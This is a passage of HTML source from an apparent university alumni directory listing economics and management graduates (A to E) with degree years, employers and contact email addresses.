2010&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Anar Sharifov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">International Economic Relations</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">In a military service</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:anar.sharifov@hotmail.com\">anar.sharifov@hotmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2010&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Azer Hasanov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance\r\n</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">In a military service</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2010</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aydan Yusifova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p><span style=\"font-size:14.0pt\"><strong>Aydin Babayev</strong></span></p>\r\n<p>School of Economics and\r\nManagement</p>\r\n<p>1996</p>\r\n<p>Executive director of\r\nMarkets.az Konsaltinq company</p>\r\n<p>Email: &nbsp;<a href=\"mailto:bbvb93@gmail.com\">bbvb93@gmail.com</a></p><p><span style=\"color:#0000ee\"><span style=\"color:#000000\">1996&nbsp;</span>  <br></span><a href=\"mailto:bbvb93@gmail.com\"></a></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aygun Gurbanova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">The Ministry Of Economic Development </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:i.qurbanova@gmail.com\">i.qurbanova@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aysel Cumshudova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Saipem Asia, Chief Accountant</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:aysel.jumshudova@saipem.eni.it\">aysel.jumshudova@saipem.eni.it</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:aysel.jumshudova@saipem.eni.it\"></a>Bachelor 2008</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aliya Mammadova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:aliya_mamedova@yahoo.com\">aliya_mamedova@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2008</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aynura Rustamova</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:rustamova79@yahoo.com\">rustamova79@yahoo.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:rustamova79@yahoo.com\"></a>MBA 2008</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aytan&nbsp;Abdulova &nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Raytheon Technical Services Company LLC/HR Manager</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:aytan.abdulova@britishcouncil.az\">aytan.abdulova@britishcouncil.az</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:aytan.abdulova@britishcouncil.az\"></a>MBA 2008</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aydan&nbsp;Alakbarova&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">BP,Technical Assisstant</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:aleka0@bp.com\">aleka0@bp.com</a>&nbsp;,&nbsp;<a href=\"mailto:aydan_alekperova@hotmail.com\">aydan_alekperova@hotmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:aydan_alekperova@hotmail.com\"></a>MBA 2008</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aytan Gajarova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Marketing</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:aytan.qacar@gmail.com\">aytan.qacar@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Ayshan Aslanova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Business Adminstration</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:ayshan82@mail.ru\">ayshan82@mail.ru</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:ayshan82@mail.ru\"></a>Bachelor 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aygun Rahmanova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:aygun-rehmanova@mail.ru\">aygun-rehmanova@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aynur Yagubli</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Accounting and audit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:aynuryagubli@gmail.com\">aynuryagubli@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016&nbsp; (Honor)</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aysel Guluyeva</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Business Administration</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:ayselguluyeva@gmail.com\">ayselguluyeva@gmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:ayselguluyeva@gmail.com\"></a>Bachelor 2016&nbsp; (Honor)</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Ayaz Mammadov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Business Administration</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:ayaz-mammadov-91@mail.ru\">ayaz-mammadov-91@mail.ru</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:ayaz-mammadov-91@mail.ru\"></a>Bachelor 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Asif İmamverdiyev</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Economics</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: &nbsp;<a href=\"mailto:asifimamverdiyev@gmail.com\">asifimamverdiyev@gmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:asifimamverdiyev@gmail.com\"></a>Bachelor 2016&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aynura Aliyeva</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">International Economic Relations</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: &nbsp;<a href=\"mailto:aynuraaliyeva03@gmail.com\">aynuraaliyeva03@gmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:aynuraaliyeva03@gmail.com\"></a>MBA 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Abdulla&nbsp;İsayev&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">PriceWaterhouseCoopers, Auditor</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:abdullaisayev@hotmail.com\">abdullaisayev@hotmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2008</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Ali&nbsp; Masiyev</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Banking</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: &nbsp;<a href=\"mailto:masiyevali@gmail.com\">masiyevali@gmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:masiyevali@gmail.com\"></a>MBA 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Asmar Jafarli</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Business Administration</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:esmer.ceferli@khazar.org\">esmer.ceferli@khazar.org</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Ali Huseynov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:Alhuseyn@gmail.com\">Alhuseyn@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>  <p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aziz Aliyev</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">In a military service</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Ajdar\r\nHasanov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">International Economic Relations</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">In a military service</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:xarqo_013@hotmail.com\">xarqo_013@hotmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2010&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>  <p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Ali Reza Khayyami</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Business Organization and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Baku Electronics</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: a,khayyami@yahoo.com</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2011&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>  <p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Alakbar İbrahimov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Malaziya</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:alekperibragimov@gmail.com\">alekperibragimov@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2010&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><h3 id=\"B\">B</h3><p><strong>Bayim Alizade</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p>Management, 2017</p>\r\n<p>E-mail: <a href=\"mailto:bami.alizade@gmail.com\">bami. alizade[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Bahlul Salmanov </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Project Management, 2017</p>\r\n<p>E-mail: <a href=\"mailto:behlul004@gmail.com\">behlul004[at]gmail.com</a></p>\r\n<p>State Committee for Standardization, Metrology\r\nand Patent of Azerbaijan Republic, Engineer-Meteorologist&nbsp;</p>  <p style=\"margin-bottom:7.5pt;line-height:normal;font-size:medium\"><strong><span lang=\"AZ-LATIN\" style=\"font-family:Arial, sans-serif;color:#252525\"><br></span></strong></p><p style=\"margin-bottom:7.5pt;line-height:normal;font-size:medium\"><strong><span lang=\"AZ-LATIN\" style=\"font-family:Arial, sans-serif;color:#252525\">Bahar Farzullayeva</span></strong><span lang=\"AZ-LATIN\" style=\"font-family:Arial, sans-serif;color:#252525\">&nbsp;</span></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Business Organization and Management</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Conservatory</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:&nbsp;<a href=\"mailto:bahar-87@hotmail.com\">bahar-87@hotmail.com</a></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"mailto:bahar-87@hotmail.com\"></a>Bachelor 2009</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Bakhtiyar Rashidzade</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Business Organization and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: &nbsp;<a href=\"mailto:bakhtiyar344@gmail.com\">bakhtiyar344@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016 &nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Bullur Samadzade</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:Bsamedzade@gmail.com\">Bsamedzade@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Bilgeys Alekberli</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:bilqeys_alekberli@yahoo.com\">bilqeys_alekberli@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016&nbsp; (Honor)</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Bayim Huseynova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">SOCAR , Financial Associate</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:beyimn@gmail.com\">beyimn@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2008</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Babek Babayev&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">In a military service</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:babek_babayev@yahoo.com\">babek_babayev@yahoo.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:babek_babayev@yahoo.com\"></a>Bachelor 2010&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><h3 id=\"C\">C</h3><p><strong>Chingiz Alizade</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance, 2017</p>\r\n<p>E-mail: <a href=\"mailto:chinqizalizade@mail.ru\">chingizalizade[at]mail.ru</a></p>  <br><h3 id=\"D\"><strong>D</strong></h3><br><p><strong>Dilara İsmayilova</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">International Economic Relations, 2017</p>\r\n<p>E-mail: <a href=\"mailto:dilara.ismayil@gmail.com\">dilara.ismayil[at]gmail.com</a></p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong>Dinara Shamionova </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p>Business\r\nOrganization and Management, 2017</p>\r\n<p>E-mail: <a href=\"mailto:dinarashamionova@hotmail.com\">dinarashamionova[at]hotmail.com</a></p>\r\n<p>SOCAR-AQS LLC, Procurement\r\nSpecialist </p>\r\n<p>&nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>D</strong><strong>inara&nbsp;Yunusova&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Business Organization and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:ydinni@yahoo.com\">ydinni@yahoo.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:ydinni@yahoo.com\"></a>Bachelor 2008</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Dinara Khujatova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: &nbsp;<a href=\"mailto:dinare.xucetova@khazar.org\">dinare.xucetova@khazar.org</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016 &nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong></strong></p><h3 id=\"E\">E</h3><p><strong><span style=\"font-size:medium\">Erlan Ismayilov</span> </strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance, 2017</p>\r\n<p>E-mail: <a href=\"mailto:erlan.ismailov1996@gmail.com\">erlan.ismailov1996[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Eldar Zeynalov </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance, 2017</p>\r\n<p>E-mail: <a href=\"mailto:eldar-7@hotmail.com\">eldar-7[at]hotmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Elchin Narimanov </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Accounting and Audit, 2017</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:elchin.narimanov@gmail.com\">elchin.narimanov[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Emin Salmanov </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finanacial Management, 2017</p>\r\n<p>E-mail: <a href=\"mailto:eminsalmanov123@gmail.com\">eminsalmanov123[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Eltaj Maharramova </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finanacial Management, 2017</p>\r\n<p>E-mail: <a href=\"mailto:eltajmaharramova@gmail.com\">eltajmaharramova[at]gmail.com</a></p>  <p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Eynar Mahmudov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Service field of Account and Aud.</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: &nbsp;<a href=\"mailto:eynar.mahmudov@gmail.com\">eynar.mahmudov@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Emin&nbsp;Gasimov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">PriceWaterhouseCoopers, Auditor</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:eminmg@hotmail.com\">eminmg@hotmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2008</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Elmin Garazade</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Accounting and audit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: &nbsp;<a href=\"mailto:elminqarazade@gmail.com\">elminqarazade@gmail.com</a></p>\r\n<p style=\"\" 